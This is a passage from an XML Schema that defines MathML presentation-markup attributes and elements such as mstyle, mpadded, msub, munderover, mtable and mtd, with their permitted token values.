                     </xs:simpleType>
                  </xs:list>
               </xs:simpleType>
               <xs:minLength value="1"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="crossout">
         <xs:simpleType>
            <xs:list>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="none"/>
                     <xs:enumeration value="updiagonalstrike"/>
                     <xs:enumeration value="downdiagonalstrike"/>
                     <xs:enumeration value="verticalstrike"/>
                     <xs:enumeration value="horizontalstrike"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:list>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="denomalign">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="right"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="depth" type="m:length"/>
      <xs:attribute name="dir">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="ltr"/>
               <xs:enumeration value="rtl"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="edge">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="right"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="equalcolumns">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="equalrows">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="fence">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="form">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="prefix"/>
               <xs:enumeration value="infix"/>
               <xs:enumeration value="postfix"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="frame" type="m:linestyle"/>
      <xs:attribute name="framespacing">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list>
                     <xs:simpleType>
                        <xs:union memberTypes="m:length m:length"/>
                     </xs:simpleType>
                  </xs:list>
               </xs:simpleType>
               <xs:length value="2"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="groupalign" type="m:group-alignment-list-list"/>
      <xs:attribute name="height" type="m:length"/>
      <xs:attribute name="indentalign">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="right"/>
               <xs:enumeration value="auto"/>
               <xs:enumeration value="id"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="indentalignfirst">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="right"/>
               <xs:enumeration value="auto"/>
               <xs:enumeration value="id"/>
               <xs:enumeration value="indentalign"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="indentalignlast">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="right"/>
               <xs:enumeration value="auto"/>
               <xs:enumeration value="id"/>
               <xs:enumeration value="indentalign"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="indentshift" type="m:length"/>
      <xs:attribute name="indentshiftfirst">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="indentshift"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="indentshiftlast">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="indentshift"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="indenttarget"/>
      <xs:attribute name="largeop">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="leftoverhang" type="m:length"/>
      <xs:attribute name="length" type="m:unsigned-integer"/>
      <xs:attribute name="linebreak">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="auto"/>
               <xs:enumeration value="newline"/>
               <xs:enumeration value="nobreak"/>
               <xs:enumeration value="goodbreak"/>
               <xs:enumeration value="badbreak"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="linebreakmultchar"/>
      <xs:attribute name="linebreakstyle">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="before"/>
               <xs:enumeration value="after"/>
               <xs:enumeration value="duplicate"/>
               <xs:enumeration value="infixlinebreakstyle"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="lineleading" type="m:length"/>
      <xs:attribute name="linethickness">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="thin"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="medium"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="thick"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="location">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="w"/>
               <xs:enumeration value="nw"/>
               <xs:enumeration value="n"/>
               <xs:enumeration value="ne"/>
               <xs:enumeration value="e"/>
               <xs:enumeration value="se"/>
               <xs:enumeration value="s"/>
               <xs:enumeration value="sw"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="longdivstyle">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="lefttop"/>
               <xs:enumeration value="stackedrightright"/>
               <xs:enumeration value="mediumstackedrightright"/>
               <xs:enumeration value="shortstackedrightright"/>
               <xs:enumeration value="righttop"/>
               <xs:enumeration value="left/\right"/>
               <xs:enumeration value="left)(right"/>
               <xs:enumeration value=":right=right"/>
               <xs:enumeration value="stackedleftleft"/>
               <xs:enumeration value="stackedleftlinetop"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="lquote"/>
      <xs:attribute name="lspace" type="m:length"/>
      <xs:attribute name="mathsize">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="small"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="normal"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="big"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="mathvariant">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="normal"/>
               <xs:enumeration value="bold"/>
               <xs:enumeration value="italic"/>
               <xs:enumeration value="bold-italic"/>
               <xs:enumeration value="double-struck"/>
               <xs:enumeration value="bold-fraktur"/>
               <xs:enumeration value="script"/>
               <xs:enumeration value="bold-script"/>
               <xs:enumeration value="fraktur"/>
               <xs:enumeration value="sans-serif"/>
               <xs:enumeration value="bold-sans-serif"/>
               <xs:enumeration value="sans-serif-italic"/>
               <xs:enumeration value="sans-serif-bold-italic"/>
               <xs:enumeration value="monospace"/>
               <xs:enumeration value="initial"/>
               <xs:enumeration value="tailed"/>
               <xs:enumeration value="looped"/>
               <xs:enumeration value="stretched"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="maxsize">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="infinity"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="minlabelspacing" type="m:length"/>
      <xs:attribute name="minsize" type="m:length"/>
      <xs:attribute name="movablelimits">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="mslinethickness">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="thin"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="medium"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="thick"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="notation"/>
      <xs:attribute name="numalign">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="right"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="open"/>
      <xs:attribute name="position" type="m:integer"/>
      <xs:attribute name="rightoverhang" type="m:length"/>
      <xs:attribute name="rowalign">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list itemType="m:verticalalign"/>
               </xs:simpleType>
               <xs:minLength value="1"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="rowlines">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list itemType="m:linestyle"/>
               </xs:simpleType>
               <xs:minLength value="1"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="rowspacing">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list itemType="m:length"/>
               </xs:simpleType>
               <xs:minLength value="1"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="rowspan" type="m:positive-integer"/>
      <xs:attribute name="rquote"/>
      <xs:attribute name="rspace" type="m:length"/>
      <xs:attribute name="selection" type="m:positive-integer"/>
      <xs:attribute name="separator">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="separators"/>
      <xs:attribute name="shift" type="m:integer"/>
      <xs:attribute name="side">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="right"/>
               <xs:enumeration value="leftoverlap"/>
               <xs:enumeration value="rightoverlap"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="stackalign">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="right"/>
               <xs:enumeration value="decimalpoint"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="stretchy">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="subscriptshift" type="m:length"/>
      <xs:attribute name="superscriptshift" type="m:length"/>
      <xs:attribute name="symmetric">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="valign" type="m:length"/>
      <xs:attribute name="width" type="m:length"/>
   </xs:attributeGroup>
   <xs:attributeGroup name="mstyle.deprecatedattributes">
      <xs:attributeGroup ref="m:DeprecatedTokenAtt"/>
      <xs:attribute name="veryverythinmathspace" type="m:length"/>
      <xs:attribute name="verythinmathspace" type="m:length"/>
      <xs:attribute name="thinmathspace" type="m:length"/>
      <xs:attribute name="mediummathspace" type="m:length"/>
      <xs:attribute name="thickmathspace" type="m:length"/>
      <xs:attribute name="verythickmathspace" type="m:length"/>
      <xs:attribute name="veryverythickmathspace" type="m:length"/>
   </xs:attributeGroup>
   <xs:attributeGroup name="math.attributes">
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attributeGroup ref="m:mstyle.specificattributes"/>
      <xs:attributeGroup ref="m:mstyle.generalattributes"/>
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attribute name="display">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="block"/>
               <xs:enumeration value="inline"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="maxwidth" type="m:length"/>
      <xs:attribute name="overflow">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="linebreak"/>
               <xs:enumeration value="scroll"/>
               <xs:enumeration value="elide"/>
               <xs:enumeration value="truncate"/>
               <xs:enumeration value="scale"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="altimg" type="xs:anyURI"/>
      <xs:attribute name="altimg-width" type="m:length"/>
      <xs:attribute name="altimg-height" type="m:length"/>
      <xs:attribute name="altimg-valign">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="top"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="middle"/>
                  </xs:restriction>
               </xs:simpleType>
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="bottom"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="alttext"/>
      <xs:attribute name="cdgroup" type="xs:anyURI"/>
      <xs:attributeGroup ref="m:math.deprecatedattributes"/>
   </xs:attributeGroup>
   <xs:element name="merror" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:complexContent>
            <xs:extension base="m:ImpliedMrow">
               <xs:attributeGroup ref="m:merror.attributes"/>
            </xs:extension>
         </xs:complexContent>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="merror.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
   </xs:attributeGroup>
   <xs:element name="mpadded" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:complexContent>
            <xs:extension base="m:ImpliedMrow">
               <xs:attributeGroup ref="m:mpadded.attributes"/>
            </xs:extension>
         </xs:complexContent>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mpadded.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="height" type="m:mpadded-length"/>
      <xs:attribute name="depth" type="m:mpadded-length"/>
      <xs:attribute name="width" type="m:mpadded-length"/>
      <xs:attribute name="lspace" type="m:mpadded-length"/>
      <xs:attribute name="voffset" type="m:mpadded-length"/>
   </xs:attributeGroup>
   <xs:element name="mphantom" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:complexContent>
            <xs:extension base="m:ImpliedMrow">
               <xs:attributeGroup ref="m:mphantom.attributes"/>
            </xs:extension>
         </xs:complexContent>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mphantom.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
   </xs:attributeGroup>
   <xs:element name="mfenced" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:MathExpression"/>
         <xs:attributeGroup ref="m:mfenced.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mfenced.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="open"/>
      <xs:attribute name="close"/>
      <xs:attribute name="separators"/>
   </xs:attributeGroup>
   <xs:element name="menclose" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:complexContent>
            <xs:extension base="m:ImpliedMrow">
               <xs:attributeGroup ref="m:menclose.attributes"/>
            </xs:extension>
         </xs:complexContent>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="menclose.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="notation"/>
   </xs:attributeGroup>
   <xs:element name="msub" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:sequence>
            <xs:group ref="m:MathExpression"/>
            <xs:group ref="m:MathExpression"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:msub.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="msub.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="subscriptshift" type="m:length"/>
   </xs:attributeGroup>
   <xs:element name="msup" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:sequence>
            <xs:group ref="m:MathExpression"/>
            <xs:group ref="m:MathExpression"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:msup.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="msup.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="superscriptshift" type="m:length"/>
   </xs:attributeGroup>
   <xs:element name="msubsup" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:sequence>
            <xs:group ref="m:MathExpression"/>
            <xs:group ref="m:MathExpression"/>
            <xs:group ref="m:MathExpression"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:msubsup.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="msubsup.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="subscriptshift" type="m:length"/>
      <xs:attribute name="superscriptshift" type="m:length"/>
   </xs:attributeGroup>
   <xs:element name="munder" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:sequence>
            <xs:group ref="m:MathExpression"/>
            <xs:group ref="m:MathExpression"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:munder.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="munder.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="accentunder">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="align">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="right"/>
               <xs:enumeration value="center"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
   </xs:attributeGroup>
   <xs:element name="mover" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:sequence>
            <xs:group ref="m:MathExpression"/>
            <xs:group ref="m:MathExpression"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:mover.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mover.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="accent">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="align">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="right"/>
               <xs:enumeration value="center"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
   </xs:attributeGroup>
   <xs:element name="munderover" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:sequence>
            <xs:group ref="m:MathExpression"/>
            <xs:group ref="m:MathExpression"/>
            <xs:group ref="m:MathExpression"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:munderover.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="munderover.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="accent">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="accentunder">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="align">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="right"/>
               <xs:enumeration value="center"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
   </xs:attributeGroup>
   <xs:element name="mmultiscripts" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:sequence>
            <xs:group ref="m:MathExpression"/>
            <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:MultiScriptExpression"/>
            <xs:sequence minOccurs="0">
               <xs:element ref="m:mprescripts"/>
               <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:MultiScriptExpression"/>
            </xs:sequence>
         </xs:sequence>
         <xs:attributeGroup ref="m:mmultiscripts.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mmultiscripts.attributes">
      <xs:attributeGroup ref="m:msubsup.attributes"/>
   </xs:attributeGroup>
   <xs:element name="mtable" substitutionGroup="m:PresentationExpression">
      <xs:complexType>
         <xs:sequence>
            <xs:element minOccurs="0" maxOccurs="unbounded" ref="m:TableRowExpression"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:mtable.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mtable.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="align">
         <xs:simpleType>
            <xs:restriction base="xs:string">
               <xs:pattern value="\s*(top|bottom|center|baseline|axis)(\s+-?[0-9]+)?\s*"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="rowalign">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list itemType="m:verticalalign"/>
               </xs:simpleType>
               <xs:minLength value="1"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="columnalign">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list itemType="m:columnalignstyle"/>
               </xs:simpleType>
               <xs:minLength value="1"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="groupalign" type="m:group-alignment-list-list"/>
      <xs:attribute name="alignmentscope">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list>
                     <xs:simpleType>
                        <xs:restriction base="xs:token">
                           <xs:enumeration value="true"/>
                           <xs:enumeration value="false"/>
                        </xs:restriction>
                     </xs:simpleType>
                  </xs:list>
               </xs:simpleType>
               <xs:minLength value="1"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="columnwidth">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list>
                     <xs:simpleType>
                        <xs:union memberTypes="m:length">
                           <xs:simpleType>
                              <xs:restriction base="xs:token">
                                 <xs:enumeration value="auto"/>
                              </xs:restriction>
                           </xs:simpleType>
                           <xs:simpleType>
                              <xs:restriction base="xs:token">
                                 <xs:enumeration value="fit"/>
                              </xs:restriction>
                           </xs:simpleType>
                        </xs:union>
                     </xs:simpleType>
                  </xs:list>
               </xs:simpleType>
               <xs:minLength value="1"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="width">
         <xs:simpleType>
            <xs:union memberTypes="m:length">
               <xs:simpleType>
                  <xs:restriction base="xs:token">
                     <xs:enumeration value="auto"/>
                  </xs:restriction>
               </xs:simpleType>
            </xs:union>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="rowspacing">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list itemType="m:length"/>
               </xs:simpleType>
               <xs:minLength value="1"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="columnspacing">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list itemType="m:length"/>
               </xs:simpleType>
               <xs:minLength value="1"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="rowlines">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list itemType="m:linestyle"/>
               </xs:simpleType>
               <xs:minLength value="1"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="columnlines">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list itemType="m:linestyle"/>
               </xs:simpleType>
               <xs:minLength value="1"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="frame" type="m:linestyle"/>
      <xs:attribute name="framespacing">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list>
                     <xs:simpleType>
                        <xs:union memberTypes="m:length m:length"/>
                     </xs:simpleType>
                  </xs:list>
               </xs:simpleType>
               <xs:length value="2"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="equalrows">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="equalcolumns">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="displaystyle">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="true"/>
               <xs:enumeration value="false"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="side">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="left"/>
               <xs:enumeration value="right"/>
               <xs:enumeration value="leftoverlap"/>
               <xs:enumeration value="rightoverlap"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="minlabelspacing" type="m:length"/>
   </xs:attributeGroup>
   <xs:element name="mlabeledtr" substitutionGroup="m:TableRowExpression">
      <xs:complexType>
         <xs:sequence>
            <xs:element maxOccurs="unbounded" ref="m:TableCellExpression"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:mlabeledtr.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mlabeledtr.attributes">
      <xs:attributeGroup ref="m:mtr.attributes"/>
   </xs:attributeGroup>
   <xs:element name="mtr" substitutionGroup="m:TableRowExpression">
      <xs:complexType>
         <xs:sequence>
            <xs:element minOccurs="0" maxOccurs="unbounded" ref="m:TableCellExpression"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:mtr.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="mtr.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="rowalign">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="top"/>
               <xs:enumeration value="bottom"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="baseline"/>
               <xs:enumeration value="axis"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="columnalign">
         <xs:simpleType>
            <xs:restriction>
               <xs:simpleType>
                  <xs:list itemType="m:columnalignstyle"/>
               </xs:simpleType>
               <xs:minLength value="1"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="groupalign" type="m:group-alignment-list-list"/>
   </xs:attributeGroup>
   <xs:element name="mtd" substitutionGroup="m:TableCellExpression"/>
   <xs:attributeGroup name="mtd.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
      <xs:attributeGroup ref="m:CommonPresAtt"/>
      <xs:attribute name="rowspan" type="m:positive-integer"/>
      <xs:attribute name="columnspan" type="m:positive-integer"/>
      <xs:attribute name="rowalign">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="top"/>
               <xs:enumeration value="bottom"/>
               <xs:enumeration value="center"/>
               <xs:enumeration value="baseline"/>
               <xs:enumeration value="axis"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
      <xs:attribute name="columnalign" type="m:columnalignstyle"/>
      <xs:attribute name="groupalign" type="m:group-alignment-list"/>
   </xs:attributeGroup>
